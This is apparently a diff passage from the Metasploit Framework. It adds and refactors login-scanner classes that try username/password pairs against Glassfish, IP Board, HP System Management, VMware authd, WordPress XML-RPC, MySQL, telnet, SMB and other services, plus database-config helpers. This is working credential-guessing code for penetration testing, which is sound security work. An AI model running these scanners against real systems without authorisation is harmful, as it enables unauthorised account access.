# 3. {project_configurations_pathname}
#
# @return [Array<Pathname>]
def self.configurations_pathnames
configurations_pathnames = []
CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message|
configurations_pathname = public_send(configurations_pathname_message)
if !configurations_pathname.nil? && configurations_pathname.exist?
configurations_pathnames << configurations_pathname
end
end
configurations_pathnames
end
# Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable.
#
# @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank.
# @return [nil] otherwise
def self.environment_configurations_pathname
msf_database_config = ENV['MSF_DATABASE_CONFIG']
if msf_database_config.blank?
msf_database_config = nil
else
msf_database_config = Pathname.new(msf_database_config)
end
msf_database_config
end
# Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`.
#
# @return [Pathname]
def self.project_configurations_pathname
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent
root.join('config', 'database.yml')
end
# Pathname to `database.yml` in the user's config directory.
#
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
# @return [nil] if the user does not have a `database.yml` in their config directory.
def self.user_configurations_pathname
Pathname.new(Msf::Config.get_config_root).join('database.yml')
end
end
end
@@ -0,0 +1,36 @@
require 'metasploit/framework/database'
module Metasploit::Framework::Database::Cucumber
def self.project_configurations_path
Rails.root.join('config', 'database.yml').to_path
end
def self.backup_project_configurations
if File.exist?(project_configurations_path)
# assume that the backup file is from a previously aborted run and it contains the real database.yml data, so
# just delete the fake database.yml and the After hook will restore the real database.yml from the backup location
if File.exist?(backup_project_configurations_path)
File.delete(project_configurations_path)
else
# project contains the real database.yml and there was no previous, aborted run.
File.rename(project_configurations_path, backup_project_configurations_path)
end
end
end
def self.backup_project_configurations_path
"#{project_configurations_path}.cucumber.bak"
end
def self.restore_project_configurations
if File.exist?(backup_project_configurations_path)
if File.exist?(project_configurations_path)
# Remove fake, leftover database.yml
File.delete(project_configurations_path)
end
File.rename(backup_project_configurations_path, project_configurations_path)
end
end
end
@@ -35,7 +35,12 @@ module Metasploit
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
end
Result.new(credential: credential, status: status)
result = Result.new(credential: credential, status: status)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'afp'
result
end
def set_sane_defaults
@@ -20,9 +20,20 @@ module Metasploit
host, port, {}, ssl, ssl_version
)
http_client = config_client(http_client)
result_opts = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
http_client.connect
body = "userName=#{Rex::Text.uri_encode(credential.public)}&password=#{Rex::Text.uri_encode(credential.private)}&submit=+Login+"
+16 -1
View File
@@ -77,6 +77,14 @@ module Metasploit
raise NotImplementedError
end
# @note Override this to detect that the service is up, is the right
# version, etc.
# @return [false] Indicates there were no errors
# @return [String] a human-readable error message describing why
# this scanner can't run
def check_setup
false
end
def each_credential
cred_details.each do |raw_cred|
@@ -85,6 +93,11 @@ module Metasploit
credential = raw_cred.to_credential
if credential.realm.present? && self.class::REALM_KEY.present?
# The class's realm_key will always be the right thing for the
# service it knows how to login to. Override the credential's
# realm_key if one exists for the class. This can happen for
# example when we have creds for DB2 and want to try them
# against Postgres.
credential.realm_key = self.class::REALM_KEY
yield credential
elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present?
@@ -93,12 +106,14 @@ module Metasploit
yield credential
elsif credential.realm.present? && self.class::REALM_KEY.blank?
second_cred = credential.dup
# Strip the realm off here, as we don't want it
# This service has no realm key, so the realm will be
# meaningless. Strip it off.
credential.realm = nil
credential.realm_key = nil
yield credential
# Some services can take a domain in the username like this even though
# they do not explicitly take a domain as part of the protocol.
# e.g., telnet
second_cred.public = "#{second_cred.realm}\\#{second_cred.public}"
second_cred.realm = nil
second_cred.realm_key = nil
@@ -46,7 +46,12 @@ module Metasploit
})
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
result = ::Metasploit::Framework::LoginScanner::Result.new(result_options)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'db2'
result
end
private
@@ -41,7 +41,7 @@ module Metasploit
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
rescue ::EOFError, Errno::ECONNRESET, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
@@ -53,8 +53,12 @@ module Metasploit
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
result = ::Metasploit::Framework::LoginScanner::Result.new(result_options)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'ftp'
result
end
private
@@ -0,0 +1,221 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The Glassfish HTTP LoginScanner class provides methods to do login routines
# for Glassfish 2, 3 and 4.
class Glassfish < HTTP
DEFAULT_PORT = 4848
PRIVATE_TYPES = [ :password ]
# @!attribute [r] version
# @return [String] Glassfish version
attr_reader :version
# @!attribute jsession
# @return [String] Cookie session
attr_accessor :jsession
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => '/common/index.jsf'})
return "Connection failed" if res.nil?
if !([200, 302].include?(res.code))
return "Unexpected HTTP response code #{res.code} (is this really Glassfish?)"
end
# If remote login is enabled on 4.x, it redirects to https on the
# same port.
if !self.ssl && res.headers['Location'] =~ /^https:/
self.ssl = true
res = send_request({'uri' => '/common/index.jsf'})
if res.nil?
return "Connection failed after SSL redirection"
end
if res.code != 200
return "Unexpected HTTP response code #{res.code} after SSL redirection (is this really Glassfish?)"
end
end
res = send_request({'uri' => '/login.jsf'})
return "Connection failed" if res.nil?
extract_version(res.headers['Server'])
if @version.nil? || @version !~ /^[2349]/
return "Unsupported version ('#{@version}')"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if res && res.get_cookies =~ /JSESSIONID=(\w*);/i
self.jsession = $1
end
res
end
# As of Sep 2014, if Secure Admin is disabled, it simply means the admin isn't allowed
# to login remotely. However, the authentication will still run and hint whether the
# password is correct or not.
#
# @param res [Rex::Proto::Http::Response] The HTTP auth response
# @return [boolean] True if disabled, otherwise false
def is_secure_admin_disabled?(res)
return (res.body =~ /Secure Admin must be enabled/i) ? true : false
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_login(credential)
data = "j_username=#{Rex::Text.uri_encode(credential.public)}&"
data << "j_password=#{Rex::Text.uri_encode(credential.private)}&"
data << 'loginButton=Login'
opts = {
'uri' => '/j_security_check',
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "JSESSIONID=#{self.jsession}",
}
}
send_request(opts)
end
# Tries to login to Glassfish version 2
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_glassfish_2(credential)
res = try_login(credential)
if res && res.code == 302
opts = {
'uri' => '/applications/upload.jsf',
'method' => 'GET',
'headers' => {
'Cookie' => "JSESSIONID=#{self.jsession}"
}
}
res = send_request(opts)
p = /<title>Deploy Enterprise Applications\/Modules/
if (res && res.code.to_i == 200 && res.body.match(p) != nil)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
# Tries to login to Glassfish version 3 or 4 (as of now it's the latest)
#
# @param (see #try_glassfish_2)
# @return (see #try_glassfish_2)
def try_glassfish_3(credential)
res = try_login(credential)
if res && res.code == 302
opts = {
'uri' => '/common/applications/uploadFrame.jsf',
'method' => 'GET',
'headers' => {
'Cookie' => "JSESSIONID=#{self.jsession}"
}
}
res = send_request(opts)
p = /<title>Deploy Applications or Modules/
if (res && res.code.to_i == 200 && res.body.match(p) != nil)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
elsif res && is_secure_admin_disabled?(res)
return {:status => Metasploit::Model::Login::Status::DENIED_ACCESS, :proof => res.body}
elsif res && res.code == 400
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.body}
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
case self.version
when /^[29]\.x$/
status = try_glassfish_2(credential)
result_opts.merge!(status)
when /^[34]\./
status = try_glassfish_3(credential)
result_opts.merge!(status)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
#
# Extract the target's glassfish version from the HTTP Server header
# (ex: Sun Java System Application Server 9.x)
#
# @param banner [String] `Server` header from a Glassfish service response
# @return [String] version string, e.g. '2.x'
# @return [nil] If the banner did not match any of the expected values
def extract_version(banner)
# Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition)[[:blank:]]*(\d\.\d)/
@version = $2
elsif banner =~ /GlassFish v(\d)/
@version = $1
elsif banner =~ /Sun GlassFish Enterprise Server v2/
@version = '2.x'
elsif banner =~ /Sun Java System Application Server 9/
@version = '9.x'
else
@version = nil
end
return @version
end
end
end
end
end
+61 -16
View File
@@ -29,12 +29,48 @@ module Metasploit
# @return [String] HTTP method, e.g. "GET", "POST"
attr_accessor :method
# @!attribute user_agent
# @return [String] the User-Agent to use for the HTTP requests
attr_accessor :user_agent
# @!attribute vhost
# @return [String] the Virtual Host name for the target Web Server
attr_accessor :vhost
validates :uri, presence: true, length: { minimum: 1 }
validates :method,
presence: true,
length: { minimum: 1 }
# (see Base#check_setup)
def check_setup
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version
)
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
begin
# Use _send_recv instead of send_recv to skip automatiu
# authentication
response = http_client._send_recv(request)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
error_message = "Unable to connect to target"
end
if !(response && response.code == 401 && response.headers['WWW-Authenticate'])
error_message = "No authentication required"
else
error_message = false
end
error_message
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
@@ -46,13 +82,25 @@ module Metasploit
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version,
nil, credential.public, credential.private
)
http_client = config_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
@@ -64,22 +112,11 @@ module Metasploit
'method' => method
)
# First try to connect without logging in to make sure this
# resource requires authentication. We use #_send_recv for
# that instead of #send_recv.
response = http_client._send_recv(request)
if response && response.code == 401 && response.headers['WWW-Authenticate']
# Now send the creds
response = http_client.send_auth(
response, request.opts, connection_timeout, true
)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
else
result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED)
response = http_client.send_recv(request)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
ensure
http_client.close
@@ -90,6 +127,14 @@ module Metasploit
private
def config_client(client)
client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
)
client
end
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults
@@ -13,6 +13,7 @@ module Metasploit
@model = model
errors = @model.errors.full_messages.join(', ')
errors << " (#{model.class.to_s})"
super(errors)
end
end
@@ -0,0 +1,105 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# IP Board login scanner
class IPBoard < HTTP
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version
)
http_client = config_client(http_client)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
http_client.connect
nonce_request = http_client.request_cgi(
'uri' => uri,
'method' => 'GET'
)
nonce_response = http_client.send_recv(nonce_request)
if nonce_response.body =~ /name='auth_key'\s+value='.*?((?:[a-z0-9]*))'/i
server_nonce = $1
if uri.end_with? '/'
base_uri = uri.gsub(/\/$/, '')
else
base_uri = uri
end
auth_uri = "#{base_uri}/index.php"
request = http_client.request_cgi(
'uri' => auth_uri,
'method' => 'POST',
'vars_get' => {
'app' => 'core',
'module' => 'global',
'section' => 'login',
'do' => 'process'
},
'vars_post' => {
'auth_key' => server_nonce,
'ips_username' => credential.public,
'ips_password' => credential.private
}
)
response = http_client.send_recv(request)
if response && response.get_cookies.include?('ipsconnect') && response.get_cookies.include?('coppa')
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
end
else
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Server nonce not present, potentially not an IP Board install or bad URI.")
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = "/forum/" if self.uri.nil?
@method = "POST".freeze
super
end
# The method *must* be "POST", so don't let the user change it
# @raise [RuntimeError]
def method=(_)
raise RuntimeError, "Method must be POST for IPBoard"
end
end
end
end
end
@@ -34,7 +34,11 @@ module Metasploit
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'mssql'
}
begin
+44 -29
View File
@@ -16,55 +16,70 @@ module Metasploit
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 3306
LIKELY_PORTS = [ 3306 ]
LIKELY_SERVICE_NAMES = [ 'mysql' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
LIKELY_PORTS = [3306]
LIKELY_SERVICE_NAMES = ['mysql']
PRIVATE_TYPES = [:password]
REALM_KEY = nil
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'mysql'
}
# manage our behind the scenes socket. Close any existing one and open a new one
disconnect if self.sock
connect
begin
# manage our behind the scenes socket. Close any existing one and open a new one
disconnect if self.sock
connect
::RbMysql.connect({
:host => host,
:port => port,
:read_timeout => 300,
:write_timeout => 300,
:socket => sock,
:user => credential.public,
:password => credential.private,
:db => ''
:host => host,
:port => port,
:read_timeout => 300,
:write_timeout => 300,
:socket => sock,
:user => credential.public,
:password => credential.private,
:db => ''
})
rescue Errno::ECONNREFUSED
rescue Rex::HostUnreachable
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Connection refused"
proof: "Host was unreachable"
})
rescue Errno::ECONNREFUSED, Rex::ConnectionRefused
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Connection refused"
})
rescue RbMysql::ClientError
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Connection timeout"
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Connection timeout"
})
rescue Errno::ETIMEDOUT
rescue Errno::ETIMEDOUT, Rex::ConnectionTimeout
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Operation Timed out"
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Operation Timed out"
})
rescue RbMysql::HostNotPrivileged
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Unable to login from this host due to policy"
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Unable to login from this host due to policy"
})
rescue RbMysql::AccessDeniedError
result_options.merge!({
status: Metasploit::Model::Login::Status::INCORRECT,
proof: "Access Denied"
status: Metasploit::Model::Login::Status::INCORRECT,
proof: "Access Denied"
})
rescue RbMysql::HostIsBlocked
result_options.merge!({
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: "Host blocked"
})
end
@@ -88,4 +103,4 @@ module Metasploit
end
end
end
end
@@ -26,7 +26,11 @@ module Metasploit
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT
status: Metasploit::Model::Login::Status::INCORRECT,
host: host,
port: port,
protocol: 'tcp',
service_name: 'pop3'
}
disconnect if self.sock
@@ -23,7 +23,11 @@ module Metasploit
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'postgres'
}
db_name = credential.realm || 'template1'
@@ -56,6 +60,8 @@ module Metasploit
proof: e.message
})
end
rescue Rex::ConnectionError, EOFError, Timeout::Error
result_options.merge!({status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT })
end
if pg_conn
@@ -8,43 +8,70 @@ module Metasploit
class Result
include ActiveModel::Validations
# @!attribute [r] access_level
# @!attribute access_level
# @return [String] the access level gained
attr_reader :access_level
# @!attribute [r] credential
attr_accessor :access_level
# @!attribute credential
# @return [Credential] the Credential object the result is for
attr_reader :credential
# @!attribute [r] proof
# @return [String,nil] the proof that the lgoin was successful
attr_reader :proof
# @!attribute [r] status
attr_accessor :credential
# @!attribute host
# @return [String] the addess of the target host for this result
attr_accessor :host
# @!attribute port
# @return [Fixnum] the port number of the service for this result
attr_accessor :port
# @!attribute proof
# @return [String,nil] the proof that the login was successful
attr_accessor :proof
# @!attribute protocol
# @return [String] the transport protocol used for this result (tcp/udp)
attr_accessor :protocol
# @!attribute service_name
# @return [String] the name to give the service for this result
attr_accessor :service_name
# @!attribute status
# @return [String] the status of the attempt. Should be a member of `Metasploit::Model::Login::Status::ALL`
attr_reader :status
attr_accessor :status
validates :status,
inclusion: {
in: Metasploit::Model::Login::Status::ALL
}
# @param [Hash] opts The options hash for the initializer
# @option opts [String] :private The private credential component
# @option opts [String] :proof The proof that the login was successful
# @option opts [String] :public The public credential component
# @option opts [String] :realm The realm credential component
# @option opts [String] :status The status code returned
def initialize(opts= {})
@access_level = opts.fetch(:access_level, nil)
@credential = opts.fetch(:credential)
@proof = opts.fetch(:proof, nil)
@status = opts.fetch(:status)
# @param attributes [Hash{Symbol => String,nil}]
def initialize(attributes={})
attributes.each do |attribute, value|
public_send("#{attribute}=", value)
end
end
def inspect
"#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >"
end
def success?
status == Metasploit::Model::Login::Status::SUCCESSFUL
end
def inspect
"#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >"
# This method takes all the data inside the Result object
# and spits out a hash compatible with #create_credential
# and #create_credential_login.
#
# @return [Hash] the hash to use with #create_credential and #create_credential_login
def to_h
result_hash = credential.to_h
result_hash.merge!(
access_level: access_level,
address: host,
last_attempted_at: DateTime.now,
origin_type: :service,
port: port,
proof: proof,
protocol: protocol,
service_name: service_name,
status: status
)
result_hash.delete_if { |k,v| v.nil? }
end
end
+16 -2
View File
@@ -149,7 +149,16 @@ module Metasploit
begin
connect
rescue ::Rex::ConnectionError => e
return Result.new(credential:credential, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
result = Result.new(
credential:credential,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
proof: e,
host: host,
port: port,
protocol: 'tcp',
service_name: 'smb'
)
return result
end
proof = nil
@@ -212,7 +221,12 @@ module Metasploit
access_level ||= AccessLevels::GUEST
end
Result.new(credential: credential, status: status, proof: proof, access_level: access_level)
result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'smb'
result
end
def connect
@@ -0,0 +1,58 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# HP System Management login scanner tested on v6.3.1.24 upto v7.2.1.3 and 7.4
class Smh < HTTP
DEFAULT_PORT = 4848
PRIVATE_TYPES = [ :password ]
CAN_GET_SESSION = true
# (see Base#attempt_login)
def attempt_login(credential)
result_opts = {
credential: credential
}
req_opts = {
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
'user' => credential.public,
'password' => credential.private
}
}
res = nil
begin
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
cli.connect
req = cli.request_cgi(req_opts)
res = cli.send_recv(req)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, ::EOFError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
return Result.new(result_opts)
end
if res && res.headers['CpqElm-Login'].to_s =~ /success/
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
end
Result.new(result_opts)
end
end
end
end
end
@@ -22,7 +22,11 @@ module Metasploit
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'udp',
service_name: 'snmp'
}
[:SNMPv1, :SNMPv2c].each do |version|
@@ -93,7 +93,12 @@ module Metasploit
end
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
result = ::Metasploit::Framework::LoginScanner::Result.new(result_options)
result.host = host
result.port = port
result.protocol = 'tcp'
result.service_name = 'ssh'
result
end
private
@@ -48,44 +48,52 @@ module Metasploit
# (see {Base#attempt_login})
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'telnet'
}
if connect_reset_safe == :refused
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
if busy_message?
self.sock.close unless self.sock.closed?
begin
if connect_reset_safe == :refused
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
end
unless result_options[:status]
unless password_prompt?
send_user(credential.public)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
if password_prompt?(credential.public)
send_pass(credential.private)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
else
if busy_message?
self.sock.close unless self.sock.closed?
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
end
if login_succeeded?
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
unless result_options[:status]
unless password_prompt?
send_user(credential.public)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
if password_prompt?(credential.public)
send_pass(credential.private)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
end
if login_succeeded?
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
end
rescue ::EOFError, Errno::ECONNRESET, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
@@ -0,0 +1,112 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with vmware-auth.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class VMAUTHD
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 902
LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ]
LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
service_name: 'vmauthd',
protocol: 'tcp'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
# Check to see if we received an OK?
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/]
# Switch to SSL if required
swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/]
# If we received an OK we should send the USER
sock.put("USER #{credential.public}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^331.*/]
# If we got an OK after the username we can send the PASS
sock.put("PASS #{credential.private}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^230.*/]
# if the pass gives an OK, we're good to go
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
end
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){}
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
ctx
end
end
end
end
end
@@ -39,9 +39,15 @@ module Metasploit
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'vnc'
}
credential.public = nil
begin
# Make our initial socket to the target
disconnect if self.sock
@@ -0,0 +1,80 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# Wordpress XML RPC login scanner
class WordpressRPC < HTTP
# (see Base#attempt_login)
def attempt_login(credential)
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version
)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
if ssl
result_opts[:service_name] = 'https'
else
result_opts[:service_name] = 'http'
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method,
'data' => generate_xml_request(credential.public,credential.private),
)
response = http_client.send_recv(request)
if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response)
elsif response.body =~ /<value><int>-32601<\/int><\/value>/
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
Result.new(result_opts)
end
# This method generates the XML data for the RPC login request
# @param user [String] the username to authenticate with
# @param pass [String] the password to authenticate with
# @return [String] the generated XML body for the request
def generate_xml_request(user, pass)
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
xml << '<methodCall>'
xml << '<methodName>wp.getUsers</methodName>'
xml << '<params><param><value>1</value></param>'
xml << "<param><value>#{user}</value></param>"
xml << "<param><value>#{pass}</value></param>"
xml << '</params>'
xml << '</methodCall>'
xml
end
# (see Base#set_sane_defaults)
def set_sane_defaults
@method = "POST".freeze
super
end
end
end
end
end
+1 -1
View File
@@ -173,7 +173,7 @@ module Metasploit
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => send_spn, :name => self.rhost}
